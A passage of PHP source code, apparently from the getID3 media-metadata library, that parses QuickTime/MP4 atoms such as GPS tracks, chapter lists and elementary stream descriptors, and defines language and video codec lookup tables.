								if (preg_match('#\\$GPRMC,([0-9\\.]*),([AV]),([0-9\\.]*),([NS]),([0-9\\.]*),([EW]),([0-9\\.]*),([0-9\\.]*),([0-9]*),([0-9\\.]*),([EW]?)(,[A])?(\\*[0-9A-F]{2})#', $GPS_free_data, $matches)) {
									$GPS_this_GPRMC = array();
									$GPS_this_GPRMC_raw = array();
									list(
										$GPS_this_GPRMC_raw['gprmc'],
										$GPS_this_GPRMC_raw['timestamp'],
										$GPS_this_GPRMC_raw['status'],
										$GPS_this_GPRMC_raw['latitude'],
										$GPS_this_GPRMC_raw['latitude_direction'],
										$GPS_this_GPRMC_raw['longitude'],
										$GPS_this_GPRMC_raw['longitude_direction'],
										$GPS_this_GPRMC_raw['knots'],
										$GPS_this_GPRMC_raw['angle'],
										$GPS_this_GPRMC_raw['datestamp'],
										$GPS_this_GPRMC_raw['variation'],
										$GPS_this_GPRMC_raw['variation_direction'],
										$dummy,
										$GPS_this_GPRMC_raw['checksum'],
									) = $matches;
									$GPS_this_GPRMC['raw'] = $GPS_this_GPRMC_raw;

									$hour   = substr($GPS_this_GPRMC['raw']['timestamp'], 0, 2);
									$minute = substr($GPS_this_GPRMC['raw']['timestamp'], 2, 2);
									$second = substr($GPS_this_GPRMC['raw']['timestamp'], 4, 2);
									$ms     = substr($GPS_this_GPRMC['raw']['timestamp'], 6);    // may contain decimal seconds
									$day    = substr($GPS_this_GPRMC['raw']['datestamp'], 0, 2);
									$month  = substr($GPS_this_GPRMC['raw']['datestamp'], 2, 2);
									$year   = (int) substr($GPS_this_GPRMC['raw']['datestamp'], 4, 2);
									$year += (($year > 90) ? 1900 : 2000); // complete lack of foresight: datestamps are stored with 2-digit years, take best guess
									$GPS_this_GPRMC['timestamp'] = $year.'-'.$month.'-'.$day.' '.$hour.':'.$minute.':'.$second.$ms;

									$GPS_this_GPRMC['active'] = ($GPS_this_GPRMC['raw']['status'] == 'A'); // A=Active,V=Void

									foreach (array('latitude','longitude') as $latlon) {
										preg_match('#^([0-9]{1,3})([0-9]{2}\\.[0-9]+)$#', $GPS_this_GPRMC['raw'][$latlon], $matches);
										list($dummy, $deg, $min) = $matches;
										$GPS_this_GPRMC[$latlon] = $deg + ($min / 60);
									}
									$GPS_this_GPRMC['latitude']  *= (($GPS_this_GPRMC['raw']['latitude_direction']  == 'S') ? -1 : 1);
									$GPS_this_GPRMC['longitude'] *= (($GPS_this_GPRMC['raw']['longitude_direction'] == 'W') ? -1 : 1);

									$GPS_this_GPRMC['heading']    = $GPS_this_GPRMC['raw']['angle'];
									$GPS_this_GPRMC['speed_knot'] = $GPS_this_GPRMC['raw']['knots'];
									$GPS_this_GPRMC['speed_kmh']  = $GPS_this_GPRMC['raw']['knots'] * 1.852;
									if ($GPS_this_GPRMC['raw']['variation']) {
										$GPS_this_GPRMC['variation']  = $GPS_this_GPRMC['raw']['variation'];
										$GPS_this_GPRMC['variation'] *= (($GPS_this_GPRMC['raw']['variation_direction'] == 'W') ? -1 : 1);
									}

									$atom_structure['gps_entries'][$key] = $GPS_this_GPRMC;

									@$info['quicktime']['gps_track'][$GPS_this_GPRMC['timestamp']] = array(
										'latitude'  => (float) $GPS_this_GPRMC['latitude'],
										'longitude' => (float) $GPS_this_GPRMC['longitude'],
										'speed_kmh' => (float) $GPS_this_GPRMC['speed_kmh'],
										'heading'   => (float) $GPS_this_GPRMC['heading'],
									);

								} else {
									$this->warning('Unhandled GPS format in "free" atom at offset '.$gps_pointer['offset']);
								}
							}
							$this->fseek($previous_offset);

						} else {
							$this->warning('QuickTime atom "'.$atomname.'" is not mod-8 bytes long ('.$atomsize.' bytes) at offset '.$baseoffset);
						}
					} else {
						$this->warning('QuickTime atom "'.$atomname.'" is zero bytes long at offset '.$baseoffset);
					}
					break;

				case 'loci':// 3GP location (El Loco)
					$loffset = 0;
					$info['quicktime']['comments']['gps_flags']     = array(  getid3_lib::BigEndian2Int(substr($atom_data, 0, 4)));
					$info['quicktime']['comments']['gps_lang']      = array(  getid3_lib::BigEndian2Int(substr($atom_data, 4, 2)));
					$info['quicktime']['comments']['gps_location']  = array(          $this->LociString(substr($atom_data, 6), $loffset));
					$loci_data = substr($atom_data, 6 + $loffset);
					$info['quicktime']['comments']['gps_role']      = array(  getid3_lib::BigEndian2Int(substr($loci_data, 0, 1)));
					$info['quicktime']['comments']['gps_longitude'] = array(getid3_lib::FixedPoint16_16(substr($loci_data, 1, 4)));
					$info['quicktime']['comments']['gps_latitude']  = array(getid3_lib::FixedPoint16_16(substr($loci_data, 5, 4)));
					$info['quicktime']['comments']['gps_altitude']  = array(getid3_lib::FixedPoint16_16(substr($loci_data, 9, 4)));
					$info['quicktime']['comments']['gps_body']      = array(          $this->LociString(substr($loci_data, 13           ), $loffset));
					$info['quicktime']['comments']['gps_notes']     = array(          $this->LociString(substr($loci_data, 13 + $loffset), $loffset));
					break;

				case 'chpl': // CHaPter List
					// https://www.adobe.com/content/dam/Adobe/en/devnet/flv/pdfs/video_file_format_spec_v10.pdf
					$chpl_version = getid3_lib::BigEndian2Int(substr($atom_data, 4, 1)); // Expected to be 0
					$chpl_flags   = getid3_lib::BigEndian2Int(substr($atom_data, 5, 3)); // Reserved, set to 0
					$chpl_count   = getid3_lib::BigEndian2Int(substr($atom_data, 8, 1));
					$chpl_offset = 9;
					for ($i = 0; $i < $chpl_count; $i++) {
						if (($chpl_offset + 9) >= strlen($atom_data)) {
							$this->warning('QuickTime chapter '.$i.' extends beyond end of "chpl" atom');
							break;
						}
						$info['quicktime']['chapters'][$i]['timestamp'] = getid3_lib::BigEndian2Int(substr($atom_data, $chpl_offset, 8)) / 10000000; // timestamps are stored as 100-nanosecond units
						$chpl_offset += 8;
						$chpl_title_size = getid3_lib::BigEndian2Int(substr($atom_data, $chpl_offset, 1));
						$chpl_offset += 1;
						$info['quicktime']['chapters'][$i]['title']     =                           substr($atom_data, $chpl_offset, $chpl_title_size);
						$chpl_offset += $chpl_title_size;
					}
					break;

				case 'FIRM': // FIRMware version(?), seen on GoPro Hero4
					$info['quicktime']['camera']['firmware'] = $atom_data;
					break;

				case 'CAME': // FIRMware version(?), seen on GoPro Hero4
					$info['quicktime']['camera']['serial_hash'] = unpack('H*', $atom_data);
					break;

				case 'dscp':
				case 'rcif':
					// https://www.getid3.org/phpBB3/viewtopic.php?t=1908
					if (substr($atom_data, 0, 7) == "\x00\x00\x00\x00\x55\xC4".'{') {
						if ($json_decoded = @json_decode(rtrim(substr($atom_data, 6), "\x00"), true)) {
							$info['quicktime']['camera'][$atomname] = $json_decoded;
							if (($atomname == 'rcif') && isset($info['quicktime']['camera']['rcif']['wxcamera']['rotate'])) {
								$info['video']['rotate'] = $info['quicktime']['video']['rotate'] = $info['quicktime']['camera']['rcif']['wxcamera']['rotate'];
							}
						} else {
							$this->warning('Failed to JSON decode atom "'.$atomname.'"');
							$atom_structure['data'] = $atom_data;
						}
						unset($json_decoded);
					} else {
						$this->warning('Expecting 55 C4 7B at start of atom "'.$atomname.'", found '.getid3_lib::PrintHexBytes(substr($atom_data, 4, 3)).' instead');
						$atom_structure['data'] = $atom_data;
					}
					break;

				case 'frea':
					// https://www.sno.phy.queensu.ca/~phil/exiftool/TagNames/Kodak.html#frea
					// may contain "scra" (PreviewImage) and/or "thma" (ThumbnailImage)
					$atom_structure['subatoms'] = $this->QuicktimeParseContainerAtom($atom_data, $baseoffset + 4, $atomHierarchy, $ParseAllPossibleAtoms);
					break;
				case 'tima': // subatom to "frea"
					// no idea what this does, the one sample file I've seen has a value of 0x00000027
					$atom_structure['data'] = $atom_data;
					break;
				case 'ver ': // subatom to "frea"
					// some kind of version number, the one sample file I've seen has a value of "3.00.073"
					$atom_structure['data'] = $atom_data;
					break;
				case 'thma': // subatom to "frea" -- "ThumbnailImage"
					// https://www.sno.phy.queensu.ca/~phil/exiftool/TagNames/Kodak.html#frea
					if (strlen($atom_data) > 0) {
						$info['quicktime']['comments']['picture'][] = array('data'=>$atom_data, 'image_mime'=>'image/jpeg', 'description'=>'ThumbnailImage');
					}
					break;
				case 'scra': // subatom to "frea" -- "PreviewImage"
					// https://www.sno.phy.queensu.ca/~phil/exiftool/TagNames/Kodak.html#frea
					// but the only sample file I've seen has no useful data here
					if (strlen($atom_data) > 0) {
						$info['quicktime']['comments']['picture'][] = array('data'=>$atom_data, 'image_mime'=>'image/jpeg', 'description'=>'PreviewImage');
					}
					break;

				case 'cdsc': // timed metadata reference
					// A QuickTime movie can contain none, one, or several timed metadata tracks. Timed metadata tracks can refer to multiple tracks.
					// Metadata tracks are linked to the tracks they describe using a track-reference of type 'cdsc'. The metadata track holds the 'cdsc' track reference.
					$atom_structure['track_number'] = getid3_lib::BigEndian2Int($atom_data);
					break;


				case 'esds': // Elementary Stream DeScriptor
					// https://github.com/JamesHeinrich/getID3/issues/414
					// https://chromium.googlesource.com/chromium/src/media/+/refs/heads/main/formats/mp4/es_descriptor.cc
					// https://chromium.googlesource.com/chromium/src/media/+/refs/heads/main/formats/mp4/es_descriptor.h
					$atom_structure['version']   = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1)); // hardcoded: 0x00
					$atom_structure['flags_raw'] = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3)); // hardcoded: 0x000000
					$esds_offset = 4;

					$atom_structure['ES_DescrTag'] = getid3_lib::BigEndian2Int(substr($atom_data, $esds_offset, 1));
					$esds_offset += 1;
					if ($atom_structure['ES_DescrTag'] != 0x03) {
						$this->warning('expecting esds.ES_DescrTag = 0x03, found 0x'.getid3_lib::PrintHexBytes($atom_structure['ES_DescrTag']).'), at offset '.$atom_structure['offset']);
						break;
					}
					$atom_structure['ES_DescrSize'] = $this->quicktime_read_mp4_descr_length($atom_data, $esds_offset);

					$atom_structure['ES_ID'] = getid3_lib::BigEndian2Int(substr($atom_data, $esds_offset, 2));
					$esds_offset += 2;
					$atom_structure['ES_flagsraw'] = getid3_lib::BigEndian2Int(substr($atom_data, $esds_offset, 1));
					$esds_offset += 1;
					$atom_structure['ES_flags']['stream_dependency'] = (bool) ($atom_structure['ES_flagsraw'] & 0x80);
					$atom_structure['ES_flags']['url_flag']          = (bool) ($atom_structure['ES_flagsraw'] & 0x40);
					$atom_structure['ES_flags']['ocr_stream']        = (bool) ($atom_structure['ES_flagsraw'] & 0x20);
					$atom_structure['ES_stream_priority']            =        ($atom_structure['ES_flagsraw'] & 0x1F);
					if ($atom_structure['ES_flags']['url_flag']) {
						$this->warning('Unsupported esds.url_flag enabled at offset '.$atom_structure['offset']);
						break;
					}
					if ($atom_structure['ES_flags']['stream_dependency']) {
						$atom_structure['ES_dependsOn_ES_ID'] = getid3_lib::BigEndian2Int(substr($atom_data, $esds_offset, 2));
						$esds_offset += 2;
					}
					if ($atom_structure['ES_flags']['ocr_stream']) {
						$atom_structure['ES_OCR_ES_Id'] = getid3_lib::BigEndian2Int(substr($atom_data, $esds_offset, 2));
						$esds_offset += 2;
					}

					$atom_structure['ES_DecoderConfigDescrTag'] = getid3_lib::BigEndian2Int(substr($atom_data, $esds_offset, 1));
					$esds_offset += 1;
					if ($atom_structure['ES_DecoderConfigDescrTag'] != 0x04) {
						$this->warning('expecting esds.ES_DecoderConfigDescrTag = 0x04, found 0x'.getid3_lib::PrintHexBytes($atom_structure['ES_DecoderConfigDescrTag']).'), at offset '.$atom_structure['offset']);
						break;
					}
					$atom_structure['ES_DecoderConfigDescrTagSize'] = $this->quicktime_read_mp4_descr_length($atom_data, $esds_offset);

					$atom_structure['ES_objectTypeIndication'] = getid3_lib::BigEndian2Int(substr($atom_data, $esds_offset, 1));
					$esds_offset += 1;
					// https://stackoverflow.com/questions/3987850
					// 0x40 = "Audio ISO/IEC 14496-3"                       = MPEG-4 Audio
					// 0x67 = "Audio ISO/IEC 13818-7 LowComplexity Profile" = MPEG-2 AAC LC
					// 0x69 = "Audio ISO/IEC 13818-3"                       = MPEG-2 Backward Compatible Audio (MPEG-2 Layers 1, 2, and 3)
					// 0x6B = "Audio ISO/IEC 11172-3"                       = MPEG-1 Audio (MPEG-1 Layers 1, 2, and 3)

					$streamTypePlusFlags = getid3_lib::BigEndian2Int(substr($atom_data, $esds_offset, 1));
					$esds_offset += 1;
					$atom_structure['ES_streamType'] =        ($streamTypePlusFlags & 0xFC) >> 2;
					$atom_structure['ES_upStream']   = (bool) ($streamTypePlusFlags & 0x02) >> 1;
					$atom_structure['ES_bufferSizeDB'] = getid3_lib::BigEndian2Int(substr($atom_data, $esds_offset, 3));
					$esds_offset += 3;
					$atom_structure['ES_maxBitrate'] = getid3_lib::BigEndian2Int(substr($atom_data, $esds_offset, 4));
					$esds_offset += 4;
					$atom_structure['ES_avgBitrate'] = getid3_lib::BigEndian2Int(substr($atom_data, $esds_offset, 4));
					$esds_offset += 4;
					if ($atom_structure['ES_avgBitrate']) {
						$info['quicktime']['audio']['bitrate'] = $atom_structure['ES_avgBitrate'];
						$info['audio']['bitrate']              = $atom_structure['ES_avgBitrate'];
					}

					$atom_structure['ES_DecSpecificInfoTag'] = getid3_lib::BigEndian2Int(substr($atom_data, $esds_offset, 1));
					$esds_offset += 1;
					if ($atom_structure['ES_DecSpecificInfoTag'] != 0x05) {
						$this->warning('expecting esds.ES_DecSpecificInfoTag = 0x05, found 0x'.getid3_lib::PrintHexBytes($atom_structure['ES_DecSpecificInfoTag']).'), at offset '.$atom_structure['offset']);
						break;
					}
					$atom_structure['ES_DecSpecificInfoTagSize'] = $this->quicktime_read_mp4_descr_length($atom_data, $esds_offset);

					$atom_structure['ES_DecSpecificInfo'] = getid3_lib::BigEndian2Int(substr($atom_data, $esds_offset, $atom_structure['ES_DecSpecificInfoTagSize']));
					$esds_offset += $atom_structure['ES_DecSpecificInfoTagSize'];

					$atom_structure['ES_SLConfigDescrTag'] = getid3_lib::BigEndian2Int(substr($atom_data, $esds_offset, 1));
					$esds_offset += 1;
					if ($atom_structure['ES_SLConfigDescrTag'] != 0x06) {
						$this->warning('expecting esds.ES_SLConfigDescrTag = 0x05, found 0x'.getid3_lib::PrintHexBytes($atom_structure['ES_SLConfigDescrTag']).'), at offset '.$atom_structure['offset']);
						break;
					}
					$atom_structure['ES_SLConfigDescrTagSize'] = $this->quicktime_read_mp4_descr_length($atom_data, $esds_offset);

					$atom_structure['ES_SLConfigDescr'] = getid3_lib::BigEndian2Int(substr($atom_data, $esds_offset, $atom_structure['ES_SLConfigDescrTagSize']));
					$esds_offset += $atom_structure['ES_SLConfigDescrTagSize'];
					break;

// AVIF-related - https://docs.rs/avif-parse/0.13.2/src/avif_parse/boxes.rs.html
				case 'pitm': // Primary ITeM
				case 'iloc': // Item LOCation
				case 'iinf': // Item INFo
				case 'iref': // Image REFerence
				case 'iprp': // Image PRoPerties
$this->error('AVIF files not currently supported');
					$atom_structure['data'] = $atom_data;
					break;

				case 'tfdt': // Track Fragment base media Decode Time box
				case 'tfhd': // Track Fragment HeaDer box
				case 'mfhd': // Movie Fragment HeaDer box
				case 'trun': // Track fragment RUN box
$this->error('fragmented mp4 files not currently supported');
					$atom_structure['data'] = $atom_data;
					break;

				case 'mvex': // MoVie EXtends box
				case 'pssh': // Protection System Specific Header box
				case 'sidx': // Segment InDeX box
				default:
					$this->warning('Unknown QuickTime atom type: "'.preg_replace('#[^a-zA-Z0-9 _\\-]#', '?', $atomname).'" ('.trim(getid3_lib::PrintHexBytes($atomname)).'), '.$atomsize.' bytes at offset '.$baseoffset);
					$atom_structure['data'] = $atom_data;
					break;
			}
		}
		array_pop($atomHierarchy);
		return $atom_structure;
	}

	/**
	 * @param string $atom_data
	 * @param int    $baseoffset
	 * @param array  $atomHierarchy
	 * @param bool   $ParseAllPossibleAtoms
	 *
	 * @return array|false
	 */
	public function QuicktimeParseContainerAtom($atom_data, $baseoffset, &$atomHierarchy, $ParseAllPossibleAtoms) {
		$atom_structure = array();
		$subatomoffset  = 0;
		$subatomcounter = 0;
		if ((strlen($atom_data) == 4) && (getid3_lib::BigEndian2Int($atom_data) == 0x00000000)) {
			return false;
		}
		while ($subatomoffset < strlen($atom_data)) {
			$subatomsize = getid3_lib::BigEndian2Int(substr($atom_data, $subatomoffset + 0, 4));
			$subatomname =                           substr($atom_data, $subatomoffset + 4, 4);
			$subatomdata =                           substr($atom_data, $subatomoffset + 8, $subatomsize - 8);
			if ($subatomsize == 0) {
				// Furthermore, for historical reasons the list of atoms is optionally
				// terminated by a 32-bit integer set to 0. If you are writing a program
				// to read user data atoms, you should allow for the terminating 0.
				if (strlen($atom_data) > 12) {
					$subatomoffset += 4;
					continue;
				}
				break;
			}
			if (strlen($subatomdata) < ($subatomsize - 8)) {
			    // we don't have enough data to decode the subatom.
			    // this may be because we are refusing to parse large subatoms, or it may be because this atom had its size set too large
			    // so we passed in the start of a following atom incorrectly?
			    break;
			}
			$atom_structure[$subatomcounter++] = $this->QuicktimeParseAtom($subatomname, $subatomsize, $subatomdata, $baseoffset + $subatomoffset, $atomHierarchy, $ParseAllPossibleAtoms);
			$subatomoffset += $subatomsize;
		}

		if (empty($atom_structure)) {
			return false;
		}

		return $atom_structure;
	}

	/**
	 * @param string $data
	 * @param int    $offset
	 *
	 * @return int
	 */
	public function quicktime_read_mp4_descr_length($data, &$offset) {
		// http://libquicktime.sourcearchive.com/documentation/2:1.0.2plus-pdebian-2build1/esds_8c-source.html
		$num_bytes = 0;
		$length    = 0;
		do {
			$b = ord(substr($data, $offset++, 1));
			$length = ($length << 7) | ($b & 0x7F);
		} while (($b & 0x80) && ($num_bytes++ < 4));
		return $length;
	}

	/**
	 * @param int $languageid
	 *
	 * @return string
	 */
	public function QuicktimeLanguageLookup($languageid) {
		// http://developer.apple.com/library/mac/#documentation/QuickTime/QTFF/QTFFChap4/qtff4.html#//apple_ref/doc/uid/TP40000939-CH206-34353
		static $QuicktimeLanguageLookup = array();
		if (empty($QuicktimeLanguageLookup)) {
			$QuicktimeLanguageLookup[0]     = 'English';
			$QuicktimeLanguageLookup[1]     = 'French';
			$QuicktimeLanguageLookup[2]     = 'German';
			$QuicktimeLanguageLookup[3]     = 'Italian';
			$QuicktimeLanguageLookup[4]     = 'Dutch';
			$QuicktimeLanguageLookup[5]     = 'Swedish';
			$QuicktimeLanguageLookup[6]     = 'Spanish';
			$QuicktimeLanguageLookup[7]     = 'Danish';
			$QuicktimeLanguageLookup[8]     = 'Portuguese';
			$QuicktimeLanguageLookup[9]     = 'Norwegian';
			$QuicktimeLanguageLookup[10]    = 'Hebrew';
			$QuicktimeLanguageLookup[11]    = 'Japanese';
			$QuicktimeLanguageLookup[12]    = 'Arabic';
			$QuicktimeLanguageLookup[13]    = 'Finnish';
			$QuicktimeLanguageLookup[14]    = 'Greek';
			$QuicktimeLanguageLookup[15]    = 'Icelandic';
			$QuicktimeLanguageLookup[16]    = 'Maltese';
			$QuicktimeLanguageLookup[17]    = 'Turkish';
			$QuicktimeLanguageLookup[18]    = 'Croatian';
			$QuicktimeLanguageLookup[19]    = 'Chinese (Traditional)';
			$QuicktimeLanguageLookup[20]    = 'Urdu';
			$QuicktimeLanguageLookup[21]    = 'Hindi';
			$QuicktimeLanguageLookup[22]    = 'Thai';
			$QuicktimeLanguageLookup[23]    = 'Korean';
			$QuicktimeLanguageLookup[24]    = 'Lithuanian';
			$QuicktimeLanguageLookup[25]    = 'Polish';
			$QuicktimeLanguageLookup[26]    = 'Hungarian';
			$QuicktimeLanguageLookup[27]    = 'Estonian';
			$QuicktimeLanguageLookup[28]    = 'Lettish';
			$QuicktimeLanguageLookup[28]    = 'Latvian';
			$QuicktimeLanguageLookup[29]    = 'Saamisk';
			$QuicktimeLanguageLookup[29]    = 'Lappish';
			$QuicktimeLanguageLookup[30]    = 'Faeroese';
			$QuicktimeLanguageLookup[31]    = 'Farsi';
			$QuicktimeLanguageLookup[31]    = 'Persian';
			$QuicktimeLanguageLookup[32]    = 'Russian';
			$QuicktimeLanguageLookup[33]    = 'Chinese (Simplified)';
			$QuicktimeLanguageLookup[34]    = 'Flemish';
			$QuicktimeLanguageLookup[35]    = 'Irish';
			$QuicktimeLanguageLookup[36]    = 'Albanian';
			$QuicktimeLanguageLookup[37]    = 'Romanian';
			$QuicktimeLanguageLookup[38]    = 'Czech';
			$QuicktimeLanguageLookup[39]    = 'Slovak';
			$QuicktimeLanguageLookup[40]    = 'Slovenian';
			$QuicktimeLanguageLookup[41]    = 'Yiddish';
			$QuicktimeLanguageLookup[42]    = 'Serbian';
			$QuicktimeLanguageLookup[43]    = 'Macedonian';
			$QuicktimeLanguageLookup[44]    = 'Bulgarian';
			$QuicktimeLanguageLookup[45]    = 'Ukrainian';
			$QuicktimeLanguageLookup[46]    = 'Byelorussian';
			$QuicktimeLanguageLookup[47]    = 'Uzbek';
			$QuicktimeLanguageLookup[48]    = 'Kazakh';
			$QuicktimeLanguageLookup[49]    = 'Azerbaijani';
			$QuicktimeLanguageLookup[50]    = 'AzerbaijanAr';
			$QuicktimeLanguageLookup[51]    = 'Armenian';
			$QuicktimeLanguageLookup[52]    = 'Georgian';
			$QuicktimeLanguageLookup[53]    = 'Moldavian';
			$QuicktimeLanguageLookup[54]    = 'Kirghiz';
			$QuicktimeLanguageLookup[55]    = 'Tajiki';
			$QuicktimeLanguageLookup[56]    = 'Turkmen';
			$QuicktimeLanguageLookup[57]    = 'Mongolian';
			$QuicktimeLanguageLookup[58]    = 'MongolianCyr';
			$QuicktimeLanguageLookup[59]    = 'Pashto';
			$QuicktimeLanguageLookup[60]    = 'Kurdish';
			$QuicktimeLanguageLookup[61]    = 'Kashmiri';
			$QuicktimeLanguageLookup[62]    = 'Sindhi';
			$QuicktimeLanguageLookup[63]    = 'Tibetan';
			$QuicktimeLanguageLookup[64]    = 'Nepali';
			$QuicktimeLanguageLookup[65]    = 'Sanskrit';
			$QuicktimeLanguageLookup[66]    = 'Marathi';
			$QuicktimeLanguageLookup[67]    = 'Bengali';
			$QuicktimeLanguageLookup[68]    = 'Assamese';
			$QuicktimeLanguageLookup[69]    = 'Gujarati';
			$QuicktimeLanguageLookup[70]    = 'Punjabi';
			$QuicktimeLanguageLookup[71]    = 'Oriya';
			$QuicktimeLanguageLookup[72]    = 'Malayalam';
			$QuicktimeLanguageLookup[73]    = 'Kannada';
			$QuicktimeLanguageLookup[74]    = 'Tamil';
			$QuicktimeLanguageLookup[75]    = 'Telugu';
			$QuicktimeLanguageLookup[76]    = 'Sinhalese';
			$QuicktimeLanguageLookup[77]    = 'Burmese';
			$QuicktimeLanguageLookup[78]    = 'Khmer';
			$QuicktimeLanguageLookup[79]    = 'Lao';
			$QuicktimeLanguageLookup[80]    = 'Vietnamese';
			$QuicktimeLanguageLookup[81]    = 'Indonesian';
			$QuicktimeLanguageLookup[82]    = 'Tagalog';
			$QuicktimeLanguageLookup[83]    = 'MalayRoman';
			$QuicktimeLanguageLookup[84]    = 'MalayArabic';
			$QuicktimeLanguageLookup[85]    = 'Amharic';
			$QuicktimeLanguageLookup[86]    = 'Tigrinya';
			$QuicktimeLanguageLookup[87]    = 'Galla';
			$QuicktimeLanguageLookup[87]    = 'Oromo';
			$QuicktimeLanguageLookup[88]    = 'Somali';
			$QuicktimeLanguageLookup[89]    = 'Swahili';
			$QuicktimeLanguageLookup[90]    = 'Ruanda';
			$QuicktimeLanguageLookup[91]    = 'Rundi';
			$QuicktimeLanguageLookup[92]    = 'Chewa';
			$QuicktimeLanguageLookup[93]    = 'Malagasy';
			$QuicktimeLanguageLookup[94]    = 'Esperanto';
			$QuicktimeLanguageLookup[128]   = 'Welsh';
			$QuicktimeLanguageLookup[129]   = 'Basque';
			$QuicktimeLanguageLookup[130]   = 'Catalan';
			$QuicktimeLanguageLookup[131]   = 'Latin';
			$QuicktimeLanguageLookup[132]   = 'Quechua';
			$QuicktimeLanguageLookup[133]   = 'Guarani';
			$QuicktimeLanguageLookup[134]   = 'Aymara';
			$QuicktimeLanguageLookup[135]   = 'Tatar';
			$QuicktimeLanguageLookup[136]   = 'Uighur';
			$QuicktimeLanguageLookup[137]   = 'Dzongkha';
			$QuicktimeLanguageLookup[138]   = 'JavaneseRom';
			$QuicktimeLanguageLookup[32767] = 'Unspecified';
		}
		if (($languageid > 138) && ($languageid < 32767)) {
			/*
			ISO Language Codes - http://www.loc.gov/standards/iso639-2/php/code_list.php
			Because the language codes specified by ISO 639-2/T are three characters long, they must be packed to fit into a 16-bit field.
			The packing algorithm must map each of the three characters, which are always lowercase, into a 5-bit integer and then concatenate
			these integers into the least significant 15 bits of a 16-bit integer, leaving the 16-bit integer's most significant bit set to zero.

			One algorithm for performing this packing is to treat each ISO character as a 16-bit integer. Subtract 0x60 from the first character
			and multiply by 2^10 (0x400), subtract 0x60 from the second character and multiply by 2^5 (0x20), subtract 0x60 from the third character,
			and add the three 16-bit values. This will result in a single 16-bit value with the three codes correctly packed into the 15 least
			significant bits and the most significant bit set to zero.
			*/
			$iso_language_id  = '';
			$iso_language_id .= chr((($languageid & 0x7C00) >> 10) + 0x60);
			$iso_language_id .= chr((($languageid & 0x03E0) >>  5) + 0x60);
			$iso_language_id .= chr((($languageid & 0x001F) >>  0) + 0x60);
			$QuicktimeLanguageLookup[$languageid] = getid3_id3v2::LanguageLookup($iso_language_id);
		}
		return (isset($QuicktimeLanguageLookup[$languageid]) ? $QuicktimeLanguageLookup[$languageid] : 'invalid');
	}

	/**
	 * @param string $codecid
	 *
	 * @return string
	 */
	public function QuicktimeVideoCodecLookup($codecid) {
		static $QuicktimeVideoCodecLookup = array();
		if (empty($QuicktimeVideoCodecLookup)) {
			$QuicktimeVideoCodecLookup['.SGI'] = 'SGI';
			$QuicktimeVideoCodecLookup['3IV1'] = '3ivx MPEG-4 v1';
			$QuicktimeVideoCodecLookup['3IV2'] = '3ivx MPEG-4 v2';
			$QuicktimeVideoCodecLookup['3IVX'] = '3ivx MPEG-4';
			$QuicktimeVideoCodecLookup['8BPS'] = 'Planar RGB';
			$QuicktimeVideoCodecLookup['avc1'] = 'H.264/MPEG-4 AVC';
			$QuicktimeVideoCodecLookup['avr '] = 'AVR-JPEG';
			$QuicktimeVideoCodecLookup['b16g'] = '16Gray';
			$QuicktimeVideoCodecLookup['b32a'] = '32AlphaGray';
			$QuicktimeVideoCodecLookup['b48r'] = '48RGB';
			$QuicktimeVideoCodecLookup['b64a'] = '64ARGB';
			$QuicktimeVideoCodecLookup['base'] = 'Base';
			$QuicktimeVideoCodecLookup['clou'] = 'Cloud';
			$QuicktimeVideoCodecLookup['cmyk'] = 'CMYK';
			$QuicktimeVideoCodecLookup['cvid'] = 'Cinepak';
			$QuicktimeVideoCodecLookup['dmb1'] = 'OpenDML JPEG';
			$QuicktimeVideoCodecLookup['dvc '] = 'DVC-NTSC';
			$QuicktimeVideoCodecLookup['dvcp'] = 'DVC-PAL';
			$QuicktimeVideoCodecLookup['dvpn'] = 'DVCPro-NTSC';
			$QuicktimeVideoCodecLookup['dvpp'] = 'DVCPro-PAL';
			$QuicktimeVideoCodecLookup['fire'] = 'Fire';
			$QuicktimeVideoCodecLookup['flic'] = 'FLC';
			$QuicktimeVideoCodecLookup['gif '] = 'GIF';
			$QuicktimeVideoCodecLookup['h261'] = 'H261';
			$QuicktimeVideoCodecLookup['h263'] = 'H263';
			$QuicktimeVideoCodecLookup['hvc1'] = 'H.265/HEVC';
			$QuicktimeVideoCodecLookup['IV41'] = 'Indeo4';
			$QuicktimeVideoCodecLookup['jpeg'] = 'JPEG';
			$QuicktimeVideoCodecLookup['kpcd'] = 'PhotoCD';
			$QuicktimeVideoCodecLookup['mjpa'] = 'Motion JPEG-A';
			$QuicktimeVideoCodecLookup['mjpb'] = 'Motion JPEG-B';
			$QuicktimeVideoCodecLookup['msvc'] = 'Microsoft Video1';
			$QuicktimeVideoCodecLookup['myuv'] = 'MPEG YUV420';
			$QuicktimeVideoCodecLookup['path'] = 'Vector';
			$QuicktimeVideoCodecLookup['png '] = 'PNG';
			$QuicktimeVideoCodecLookup['PNTG'] = 'MacPaint';
			$QuicktimeVideoCodecLookup['qdgx'] = 'QuickDrawGX';
			$QuicktimeVideoCodecLookup['qdrw'] = 'QuickDraw';
			$QuicktimeVideoCodecLookup['raw '] = 'RAW';
			$QuicktimeVideoCodecLookup['ripl'] = 'WaterRipple';
			$QuicktimeVideoCodecLookup['rpza'] = 'Video';
			$QuicktimeVideoCodecLookup['smc '] = 'Graphics';
			$QuicktimeVideoCodecLookup['SVQ1'] = 'Sorenson Video 1';
			$QuicktimeVideoCodecLookup['SVQ1'] = 'Sorenson Video 3';
			$QuicktimeVideoCodecLookup['syv9'] = 'Sorenson YUV9';
			$QuicktimeVideoCodecLookup['tga '] = 'Targa';
			$QuicktimeVideoCodecLookup['tiff'] = 'TIFF';
			$QuicktimeVideoCodecLookup['WRAW'] = 'Windows RAW';
			$QuicktimeVideoCodecLookup['WRLE'] = 'BMP';
			$QuicktimeVideoCodecLookup['y420'] = 'YUV420';
			$QuicktimeVideoCodecLookup['yuv2'] = 'ComponentVideo';
			$QuicktimeVideoCodecLookup['yuvs'] = 'ComponentVideoUnsigned';
			$QuicktimeVideoCodecLookup['yuvu'] = 'ComponentVideoSigned';
		}
		return (isset($QuicktimeVideoCodecLookup[$codecid]) ? $QuicktimeVideoCodecLookup[$codecid] : '');
	}

	/**
	 * @param string $codecid
	 *
	 * @return mixed|string
	 */
	public function QuicktimeAudioCodecLookup($codecid) {
		static $QuicktimeAudioCodecLookup = array();
		if (empty($QuicktimeAudioCodecLookup)) {
			$QuicktimeAudioCodecLookup['.mp3']          = 'Fraunhofer MPEG Layer-III alias';
			$QuicktimeAudioCodecLookup['aac ']          = 'ISO/IEC 14496-3 AAC';
			$QuicktimeAudioCodecLookup['agsm']          = 'Apple GSM 10:1';
